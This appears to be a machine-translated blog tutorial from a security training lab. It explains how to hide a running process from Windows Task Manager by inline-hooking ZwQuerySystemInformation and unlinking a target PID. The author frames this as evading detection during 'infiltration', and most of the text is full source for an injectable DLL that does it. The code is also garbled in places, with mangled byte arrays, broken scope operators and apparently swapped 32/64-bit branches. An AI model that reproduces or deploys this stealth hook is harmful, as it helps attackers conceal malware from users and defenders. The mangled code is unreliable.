Author: brodyproder
Basic knowledge of
Process is a running activity of a program on a data set in a computer. It is the basic unit of resource allocation and scheduling in the system and the basis of operating system structure. In the early process-oriented computer architecture, the process is the basic execution entity of the program. In modern thread-oriented computer architectures, processes are containers for threads. A program is a description of instructions, data and their organizational form, while a process is an entity of the program.
Every program we run on the computer is called a process, and a process can be seen in the task manager, as shown below
So we are in the process of infiltration, if we do not have to run some running process, we want to achieve the result of undetected, one way is to hide the implementation process, let the other side can’t see the process in task manager, of course, be here only for small white found that professional personnel is beyond the scope of this discussion.
The CreateToolHelp32Snapshot API is used to capture a snapshot of a process. This API will eventually call the ZwQuerySystemInformation API in the kernel layer to retrieve system process information, so we can hook the kernel API directly, because the kernel API will be called in the end, thus implementing process hiding
The implementation process
The implementation of the Hook API ultimately comes down to Inline hooks, which are executed by modifying the first few bytes of the API and writing an E9(jump) to our own function
An API function is stored in a DLL provided by the operating system. When an API function is used in a program, the program implicitly loads the DLL containing the API into the process after the program is run. In this way, the program calls the API as if it were calling its own function.
Kernel32.dll CreateFile() is called when the EXE module calls CreateFile(), because the real CreateFile() function is implemented in kernel32.dll.
CreateFile() is an API function that is recompiled from human code and has its binary. Since it’s code, it can be modified. HOOK API functions in a “brutal” way by directly modifying the in-memory image of the API functions. The method used is to change the flow of the original function by directly using the JMP instruction of the assembly instruction to change the flow of its code execution and then execute our code. After executing our process, we can optionally execute the original function or not continue to execute the original function.
If you want to HOOK kernel32.dll CreateFile(), you need to find the address of CreateFile() in the memory of the specified process, and then change the code of the first address of CreateFile() to JMP MyProc. This way, when the specified process calls CreateFile(), it will jump to our function first to execute the process, thus completing our HOOK.
So why do we use Inlinehook when we have IAThook? Isn’t it more convenient to use IAThook? Look how hard it is to code.
If the function is not loaded in LoadLibrary mode, it will not appear in the import table and IAThook will not be used. This is the condition for Inlinehook.
Hard coded
What is hard coding?
I’m not going to try to explain it conceptually, but to explain my own understanding. Hard coding is basically made up of hexadecimal characters, it’s a language for the CPU to read, we know that in a computer there are only zeros and ones, if you ask him to read those characters in C he can’t read them, he can only read zeros and ones, that’s hard coding.
The structure of hard coding is as follows, there are fixed length instructions, variable length instructions and so on a series of instructions, but also associated with a variety of registers, indeed if we read hard coding is too painful
There is only one hard code we use in Inline hook, E9, and the corresponding assembly code is JMP
Inline hook: ZwQuerySystemInformation Inline hook: ZwQuerySystemInformation Inline hook: ZwQuerySystemInformation Inline hook: ZwQuerySystemInformation
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
Copy the code
So let’s first get the base address of ntDLL. DLL, either using GetModuleHandle or LoadLibraryA
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
Copy the code
Then use GetProcAddress to get the function address of ZwQuerySystemInformation
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
Copy the code
JMP New_ZwQuerySystemInformation (E9 xx xx xx xx xx xx) Mov rax, 0x1234567812345678, JMP rax, 48 B8 7856341278563412, ff e0. Twelve bytes need to be modified
In the case of 32 bits, modify 5 bytes
BYTE pData[5] = { 0xe9.0.0.0.0 };
Copy the code
Calculate the offset address as new address – old address – 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
Copy the code
Because we’re going to overwrite the first five bytes so we’re going to save the first five bytes somewhere else
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
Copy the code
The 64-bit case is the same, but the bytes are changed to 12 bytes
BYTE pData[12] = { 0x48.0xb8.0.0.0.0.0.0.0.0.0xff.0xe0}; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; : :RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); : :RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
Copy the code
Then change the permission to read, write, and execute. Otherwise, an error is reported 0xC0000005
: :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
Copy the code
Modify the hard coding and restore the properties
: :RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); : :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
Copy the code
Here our hook function is almost complete, write another unhook function, the idea is similar, the code is as follows
void UnHookAPI(a)
{
// Get the base address of ntDL.dll
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d".GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully! \n\n");
}
// Get the ZwQuerySystemInformation function address
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d".GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully! \n\n");
}
// Change the permission to read, write, and execute
DWORD dwOldProtect = 0; : :VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Restore 5 bytes in 32 bits and 12 bytes in 64 bits
#ifdef _WIN64: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif
// Restore permissions: :VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
Copy the code
When we finish the hook function, we need to jump to our own function. In our own function, we need to determine whether to retrieve the process information of the system. If the process information exists, we need to remove the process information
So let’s first remove the hook, to prevent multiple simultaneous access to the hook function caused by data chaos
UnHookAPI(a);Copy the code
Then load ntDLL.dll
HMODULE hDll = ::LoadLibraryA("ntdll.dll");
Copy the code
Get the base address of the ZwQuerySystemInformation
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
Copy the code
Here’s a look at the ZwQuerySystemInformation function structure
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
Copy the code
The first parameter is SystemInformationClass, which is used to indicate the type of system information to be retrieved, and the return value is NTSTATUS if the function is successfully executed, otherwise an error code is returned, so we first need to determine whether the message type is process information
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
Copy the code
Here we define a pointer to the buffer that returns the result information
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
Copy the code
Delete process information if we want to hide the PID of the process
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
Copy the code
After deleting, we restore hook
HookAPI(a);Copy the code
We want to do more than just hide the specified process in our own process space, so we can write the code as a DLL file for easy injection, the complete code is as follows
// dllmain. CPP: Defines entry points for DLL applications.
#include "pch.h"
#include <iostream>
#include <Winternl.h>
HMODULE g_hModule;
BYTE g_Oldwin32[5] = { 0 };
BYTE g_Oldwin64[12] = { 0 };
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
void HookAPI(a);
void UnHookAPI(a);
void HookAPI(a)
{
// Get the base address of ntDL.dll
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d\n\n".GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully! \n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#endif
// Get the ZwQuerySystemInformation function address
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d".GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully! \n\n");
}
// If it is 32-bit, change the first 5 bytes. If it is 64-bit, change the first 12 bytes
#ifdef _WIN64
// jmp New_ZwQuerySystemInformation
// E9 xx xx xx xx
BYTE pData[5] = { 0xe9.0.0.0.0 };
// Calculate offset address, offset address = new address - old address - 5
DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax, 0x1234567812345678
// jmp rax
// 48 b8 7856341278563412
// ff e0
BYTE pData[12] = { 0x48.0xb8.0.0.0.0.0.0.0.0.0xff.0xe0}; ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation; : :RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr)); : :RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#endif
DWORD dwOldProtect = 0;
// Change the permission to read, write, and execute: :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); : :RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
// Restore permissions: :VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
void UnHookAPI(a)
{
// Get the base address of ntDL.dll
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (hDll == NULL)
{
printf("[!] GetModuleHandle false,error is: %d".GetLastError());
return;
}
else
{
printf("[*] GetModuleHandle successfully! \n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#endif
// Get the ZwQuerySystemInformation function address
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d".GetLastError());
return;
}
else
{
printf("[*] ZwQuerySystemInformation successfully! \n\n");
}
// Change the permission to read, write, and execute
DWORD dwOldProtect = 0; : :VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Restore 5 bytes in 32 bits and 12 bytes in 64 bits
#ifdef _WIN64: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#else: :RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
#endif
// Restore permissions: :VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength )
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL;
PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
// Hide the process PID
DWORD HideProcessID = 13972;
// Unmount the hook
UnHookAPI(a); HMODULE hDll = ::LoadLibraryA("ntdll.dll");
if (hDll == NULL)
{
printf("[!] LoadLibraryA failed,error is : %d\n\n".GetLastError());
return status;
}
else
{
printf("[*] LoadLibraryA successfully! \n\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
#endif
// Get the ZwQuerySystemInformation function address
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
printf("[!] ZwQuerySystemInformation false,error is: %d".GetLastError());
return status;
}
else
{
printf("[*] ZwQuerySystemInformation successfully! \n\n");
}
// Call ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// If the PID is a hidden process, delete the process information
if (HideProcessID == (DWORD)pCur->UniqueProcessId)
{
if (pCur->NextEntryOffset == 0)
{
pPrev->NextEntryOffset = 0;
}
else{ pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset; }}else
{
pPrev = pCur;
}
if (pCur->NextEntryOffset == 0)
{
break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); }}HookAPI(a);return status;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HookAPI(a); g_hModule = hModule;break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
UnHookAPI(a);break;
}
return TRUE;
}
Copy the code
Implementation effect
You can inject DLLS into other processes through global hook injection or remote thread injection, so if you want to avoid seeing a process in the task manager, you need to inject DLLS into the task manager
Here I choose to hide QQ music, here run the procedure to inject DLL
The QQ music process is no longer visible in task manager. The process is hidden successfully
instructions
About Hetian Net Safety Laboratory
Hetian Network security laboratory (www.hetianlab.com) – the leading domestic practical network security online education platform real environment, online practical network security; The experimental content covers: system security, software security, network security, Web security, mobile security, CTF, forensics analysis, penetration testing, network security awareness education and so on.
Related experimental exercises
Malicious code analysis actual combat